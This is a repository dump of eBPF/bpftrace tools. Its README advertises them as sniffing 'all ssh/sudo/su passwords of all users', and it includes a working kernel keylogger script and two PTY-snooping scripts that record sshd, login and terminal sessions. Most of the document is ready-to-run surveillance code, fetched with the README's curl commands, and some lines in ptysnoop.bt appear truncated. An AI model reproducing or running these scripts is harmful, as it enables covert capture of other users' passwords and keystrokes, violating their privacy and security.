Repository: hackerschoice/bpfhacks Branch: main Commit: 9dafa4cbb8a4 Files: 4 Total size: 15.7 KB Directory structure: gitextract_9_0wobg0/ ├── README.md ├── keylogger.bt ├── ptysnoop.bt └── ptysnoop_linux_old.bt ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # eBPF tools A (short) collecton of eBPF enabled tools (need root privileges to run); Prerequisite: Install the latest bpftrace tool: ```console curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace ``` ## Project #1 - Sniff all ssh/login/xterm session: Record all PTY sessions and sniffs all ssh/sudo/su passwords of all users. ```console curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt export BPFTRACE_MAX_STRLEN=200 ./bpftrace -Bnone ptysnoop.bt ```

ptysnoop

Tools by others: [SSHLog](https://ebpf.io/applications/#sshlog). ## Project #2 - Keylogger: Record all keys pressed on the keyboard: ```console ./bpftrace -Bnone keylogger.bt ```

keuylogger

## TIPS & TRICKS It may complain about missing Linux Kernel header files. Download them to a local directory: ```sh wget https://debian.sipwise.com/debian-security/pool/main/l/linux/linux-headers-... dpkg-deb -xv linux-headers-*.deb "$(pwd)" export BPFTRACE_KERNEL_SOURCE="$(echo "$(pwd)/usr/src/linux-headers-"*)" sed '/generated\/autoconf.h/d' -i "${BPFTRACE_KERNEL_SOURCE}/include/linux/kconfig.h" ``` Check for BPF support in the Kernel (it is enabled by default): ```sh grep CONFIG_BPF /boot/config-$(uname -r) ``` ================================================ FILE: keylogger.bt ================================================ #! /usr/bin/env bpftrace /* * Record keys pressed on a keyboard. * (Based on https://github.com/willfindlay/bpf-keylogger but as bpftrace) * * Usage: * curl -o bpftrace -fL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace * chmod 755 bpftrace * ./bpftrace -Bnone keylogger.bt * * Note: * - This tool reads the KEY-NUMBER (!) and not the ASCII CODE. * The KEY-NUMBER needs to be transposed to get the actual ASCII * CHARACTER. Transposition is done using US-Keyboard layout. * Check with 'localectl status' or 'cat /etc/default/keyboard' * - Needs an actual keyboard. Won't work on remote VNC sessions. */ BEGIN { // https://github.com/torvalds/linux/blob/master/include/uapi/linux/input-event-codes.h printf("Keyboard mapping: US-Keyboard\n"); time("[%F %H:%M:%S] "); @keys[2] = 0x31; // 1 @keys[3] = 0x32; // 2 @keys[4] = 0x33; // 3 @keys[5] = 0x34; // 4 @keys[6] = 0x35; // 5 @keys[7] = 0x36; // 6 @keys[8] = 0x37; // 7 @keys[9] = 0x38; // 8 @keys[10] = 0x39; // 9 @keys[11] = 0x30; // 0 @keys[12] = 0x2d; // - @keys[13] = 0x3d; // = @keys[30] = 0x41 + 32; // A @keys[48] = 0x42 + 32; // B @keys[46] = 0x43 + 32; // C @keys[32] = 0x44 + 32; // D @keys[18] = 0x45 + 32; // E @keys[33] = 0x46 + 32; // F @keys[34] = 0x47 + 32; // G @keys[35] = 0x48 + 32; // H @keys[23] = 0x49 + 32; // I @keys[36] = 0x4A + 32; // J @keys[37] = 0x4B + 32; // K @keys[38] = 0x4C + 32; // L @keys[50] = 0x4D + 32; // M @keys[49] = 0x4E + 32; // N @keys[24] = 0x4F + 32; // O @keys[25] = 0x50 + 32; // P @keys[16] = 0x51 + 32; // Q @keys[19] = 0x52 + 32; // R @keys[31] = 0x53 + 32; // S @keys[20] = 0x54 + 32; // T @keys[22] = 0x55 + 32; // U @keys[47] = 0x56 + 32; // V @keys[17] = 0x57 + 32; // W @keys[45] = 0x58 + 32; // X @keys[21] = 0x59 + 32; // Y @keys[44] = 0x5a + 32; // Z @keys[26] = 0x5b; // { @keys[27] = 0x5d; // } @keys[39] = 0x3b; // ; @keys[40] = 0x27; // ' @keys[41] = 0x60; // ` @keys[43] = 0x5c; // \ @keys[51] = 0x2c; // , @keys[52] = 0x2e; // . @keys[53] = 0x2f; // / @keys[55] = 0x2a; // * @keys[57] = 0x20; // ' ' @sk[41] = 0x7e; // ~ @sk[2] = 0x21; // ! @sk[3] = 0x40; // @ @sk[4] = 0x23; // # @sk[5] = 0x24; // $ @sk[6] = 0x25; // % @sk[7] = 0x5e; // ^ @sk[8] = 0x26; // & @sk[9] = 0x2a; // * @sk[10] = 0x28; // ( @sk[11] = 0x29; // ) @sk[12] = 0x5f; // _ @sk[13] = 0x2b; // + @sk[26] = 0x7b; // { @sk[27] = 0x7d; // } @sk[42] = 0x7c; // | @sk[51] = 0x3c; // < @sk[52] = 0x3e; // > @sk[53] = 0x3f; // ? @is_shift = 0; } END { clear(@keys); clear(@sk); clear(@is_shift); clear(@is_ctrl); clear(@is_alt); } // int kprobe__input_handle_event(struct pt_regs *ctx, struct input_dev *dev, // unsigned int type, unsigned int code, int value) kprobe:input_handle_event /arg2 == 3 && arg3 > 0 && arg3 < 256/ { $type = arg2; $code = arg3; if ($code == 42 || $code == 54) { // Shift PRESSED [down] @is_shift = 1; return; } if ($code == (uint64)(128 + 42) || $code == (uint64)(128 + 54)) { // Shift RELEASED [up] @is_shift = 0; return; } if ($code == 0x1d) { @is_ctrl = 1; return; } if ($code == (uint64)(128 + 0x1d)) { @is_ctrl = 0; return; } if ($code == 0x38) { @is_alt = 1; return; } if ($code == (uint64)(128 + 0x38)) { @is_alt = 0; return; } if ($code <= 1 || $code >= 128) { // Ignore 0 and ESC // Ignore Key-Event-UP [ >=128] return; } if ($code == 28) { // ENTER printf("\n"); time("[%F %H:%M:%S] "); return; } if ($code == 0x3a) { printf("[CAPS-LOCK]"); return; } $c = @keys[$code]; if (@is_shift == 1 && @is_ctrl == 0 && @is_alt == 0) { if ($c >= 0x41+32 && $c <= 0x5a+32) { $c -= 32; // Convert a-z => A-Z @is_shift = 0; } else { $SC = @sk[$code]; if ($SC > 0) { $c = $SC; @is_shift = 0; } } } if (@is_shift == 1 || @is_ctrl == 1 || @is_alt == 1) { printf("["); $close = 1; } if (@is_shift == 1) { printf("SHIFT+"); } if (@is_ctrl == 1) { printf("CTRL+"); } if (@is_alt == 1) { printf("ALT+"); } if ($c != 0) { printf("%c", $c); } else { if ($code == 0x0e) { if ($close == 0) { printf("[DEL]"); } else { printf("DEL"); } } else { printf("[0x%02x]", $code); } } if ($close == 1) { printf("]"); } } ================================================ FILE: ptysnoop.bt ================================================ #! /usr/bin/env bpftrace /* * bpftrace -B none ./ptysnoop.bt [Options] [PTY number]... * * Options: * 31336 - Do not display the help screens * 99999 - Sniff ALL PTY (except screen & tmux). Default is to log only sshd, login and term. * Be warned, this will likely sniff YOUR session as well. * * Example 1 - Snoop on sshd, login and xterms (running and new sessions): * BPFTRACE_MAX_STRLEN=200 bpftrace -Bnone ./ptysnoop.bt * * Example 2 - Snoop on ALL but not screen or tmux: * BPFTRACE_MAX_STRLEN=200 bpftrace -Bnone ./ptysnoop.bt 9999 * * Example 3 - Snoop on /dev/pty/0, ... /dev/pty/3: * BPFTRACE_MAX_STRLEN=200 bpfrace -Bnone 0 1 2 3 * * Limitations: * - The buffer may contain \x0d in the middle and it wont translate to \n. */ BEGIN { @last_special = 0x0d; // bpf cant mix integer and string command line options. It's a fiddle... if ($1 != 31336 && $2 != 31336) { printf("🦋 \x1b[0;33mTIP: Nicefy the output:\n"); printf("\x1b[0;36mbpftrace -Bnone ptysnoop.bt 31336 | sed -Eu -e 's/\\\\x0a\\\\x0d|\\\\x0d/\\n| /g' -e 's/\\\\x1b\\[[0-9;>= 1 && $1 != 31336 && $2 != 99999) { @all_tty[$1] = 1; } if ($# >= 2 && $1 != 31336 && $2 != 99999) { @all_tty[$2] = 1; } if ($# >= 3) { @all_tty[$3] = 1; } if ($# >= 4) { @all_tty[$4] = 1; } if ($# >= 5) { @all_tty[$5] = 1; } if ($# >= 6) { @all_tty[$6] = 1; } if ($# >= 7) { @all_tty[$7] = 1; } if ($# >= 8) { @all_tty[$8] = 1; } if ($# >= 9) { @all_tty[$9] = 1; } if ($# >= 10) { @all_tty[$10] = 1; } if ($# >= 11) { @all_tty[$11] = 1; } if ($# >= 12) { @all_tty[$12] = 1; } } END { if ($1 != 31336 && $2 != 31336) { printf("\n😘 \x1b[0;33mYou may want to nicefy a log like so:\n"); printf("\x1b[0;36mcat x.log | sed -E -e 's/\\\\x0a\\\\x0d|\\\\x0d/\\n| /g' -e 's/\\x1b\\[[0-9;]*m|\\\\x1b\\[[0-9;>tty->count == 1/ // only master TTY { if (@is_all) { if (strcontains(comm, "tmux") == 1) { return; } if (comm == "screen") { return; } } else { if (@is_tty_snoop > 0) { if (@all_tty[args->tty->index] == 0) { return; } } else { if (comm == "sshd") { $hit = 1; } if ($hit == 0 && strcontains(comm, "term") == 1) { $hit = 1; } if ($hit == 0 && comm == "login") { $hit = 1; } if ($hit == 0) { return; } } } $b = args->buf; $len = args->c; $last_id = @last_id; $this_id = (uint64)args->tty; // Do not output Arrow-UP/DOWN if ($len == 3 && $b[0] == 0x1b) { return; } $special = 0; if ($len == 1) { // Special character. Only output ONCE if ($b[0] < 0x20 || $b[0] > 0x7e) { $special = $b[0]; } } if ($last_id != $this_id) { // PID has changed // Don't output if the user just presses enter or other special single input. if ($special > 0) { return; } // Go to new line unless we are already on a new line. if (@last_special != 0x0d) { printf("\n"); } @color = (uint64)args->tty->index % 6 + 1; printf("\x1b[0m>>>> \x1b[0;33m%s\x1b[0m %d /dev/pty/%d (uid=%d):\n\x1b[0;3%dm", comm, pid, args->tty->index, uid, @color); // Record a successful switch to new prompt @last_id = $this_id; @last_special = 0x0d; } if ($special > 0) { // Only output special characters ONCE. if (@last_special == $special) { return; } // Never output if at the beginning of a new line if (@last_special == 0x0d) { return; } if ($special == 0x08 || $special == 0x7f) { printf("\x1b[0;2m\\d\x1b[0;3%dm", @color); // DEL } else if ($special == 0x09) { printf("\x1b[0;2m\\t\x1b[0;3%dm", @color); // TAB } else if ($special == 0x0d) { printf("\n"); } @last_special = $special; return; } if (@last_special == 0x0d) { printf("| "); } @last_special = 0; printf("%r", buf($b, $len)); } ================================================ FILE: ptysnoop_linux_old.bt ================================================ #! /usr/bin/env bpftrace /* * Use this for OLD Linux pre 5.15. * * BPFTRACE_STRLEN=200 bpftrace -B none --no-warnings ./ptysnoop_linux_old.bt * * Limitations: * - Max FD for ptmx < 64. * - Not working for PTY's spawned via docker. * - You may need to delete the sys_enter_writev part below (for very old Linux systems) */ /* TODO: - close function must delete (@fds */ BEGIN { @last_special = 0x0d; if ($2 == 0) { return; } @is_tty_snoop = 1; if ($# >= 2) { @fds[$1, $2] = (uint64)$2; } if ($# >= 4) { @fds[$3, $4] = (uint64)$4; } if ($# >= 6) { @fds[$5, $6] = (uint64)$6; } if ($# >= 8) { @fds[$7, $8] = (uint64)$8; } } END { delete(@last_id); delete(@last_special); delete(@is_tty_snoop); clear(@fds); } tracepoint:syscalls:sys_enter_openat,tracepoint:syscalls:sys_enter_open /$1 == 0/ { if (str(args->filename) != "/dev/ptmx") { return; } if (@is_tty_snoop > 0) { return; } if (comm == "sshd") { $hit = 1; } if ($hit == 0 && strcontains(comm, "term") == 1) { $hit = 1; } if ($hit == 0 && comm == "login") { $hit = 1; } if ($hit == 0) { return; } @is_ptmx[pid] = pid; } tracepoint:syscalls:sys_exit_openat,tracepoint:syscalls:sys_exit_open /$1 == 0 && args->ret >= 0 && args->ret < 64/ { if (@is_ptmx[pid] == 0) { return; } delete(@is_ptmx[pid]); @fds[pid, args->ret] = (uint64)args->ret; } tracepoint:syscalls:sys_enter_close /$1 == 0 && args->fd >= 0 && args->fd < 64/ { delete(@fds[pid, args->fd]); } tracepoint:sched:sched_process_exit /$1 == 0/ { $i = 0; unroll(64) { delete(@fds[pid, $i]); $i += 1; } } tracepoint:syscalls:sys_enter_write, /args->count > 0 && args->fd > 0/ { if (@fds[pid, args->fd] == 0) { return; } $b = args->buf; $len = args->count; // -----START IDENDICAL COPY FOR WRITEV----- $last_id = @last_id; $this_id = pid * 64 + args->fd; // Do not output Arrow-UP/DOWN if ($len == 3 && $b[0] == 0x1b) { return; } $special = 0; if ($len == 1) { // Special character. Only output ONCE if ($b[0] < 0x20 || $b[0] > 0x7e) { $special = $b[0]; } } if ($last_id != $this_id) { // PID has changed if (@last_special != 0x0d) { printf("\n"); } printf(">>>> \x1b[0;33m%d\x1b[0m %s (uid=%d):\n", pid, comm, uid); @last_id = $this_id; @last_special = 0; } if ($special > 0) { // Only output special characters ONCE. if (@last_special == $special) { return; } // Never output if at the beginning of a new line if (@last_special == 0x0d) { return; } if ($special == 0x08 || $special == 0x7f) { printf("\x1b[2m\\d\x1b[0m"); // DEL } else if ($special == 0x09) { printf("\x1b[2m\\t\x1b[0m"); // TAB } else if ($special == 0x0d) { printf("\n"); } @last_special = $special; return; } @last_special = 0; printf("%r", buf($b, $len)); // -----END IDENTICAL COPY FOR WRITEV----- } //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // DELETE ALL BELOW HERE FOR VERY OLD LINUX SYSTEMS //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ tracepoint:syscalls:sys_enter_writev /args->vlen > 0/ { if (@fds[pid, args->fd] == 0) { return; } $b = (uint8 *)args->vec[0].iov_base; $len = args->vec[0].iov_len; // -----START IDENDICAL COPY FOR WRITEV----- $last_id = @last_id; $this_id = pid * 64 + args->fd; // Do not output Arrow-UP/DOWN if ($len == 3 && $b[0] == 0x1b) { return; } $special = 0; if ($len == 1) { // Special character. Only output ONCE if ($b[0] < 0x20 || $b[0] > 0x7e) { $special = $b[0]; } } if ($last_id != $this_id) { // PID has changed if (@last_special != 0x0d) { printf("\n"); } printf(">>>> \x1b[0;33m%d\x1b[0m %s (uid=%d):\n", pid, comm, uid); @last_id = $this_id; @last_special = 0; } if ($special > 0) { // Only output special characters ONCE. if (@last_special == $special) { return; } // Never output if at the beginning of a new line if (@last_special == 0x0d) { return; } if ($special == 0x08 || $special == 0x7f) { printf("\x1b[2m\\d\x1b[0m"); // DEL } else if ($special == 0x09) { printf("\x1b[2m\\t\x1b[0m"); // TAB } else if ($special == 0x0d) { printf("\n"); } @last_special = $special; return; } @last_special = 0; printf("%r", buf($b, $len)); // -----END IDENTICAL COPY FOR WRITEV----- }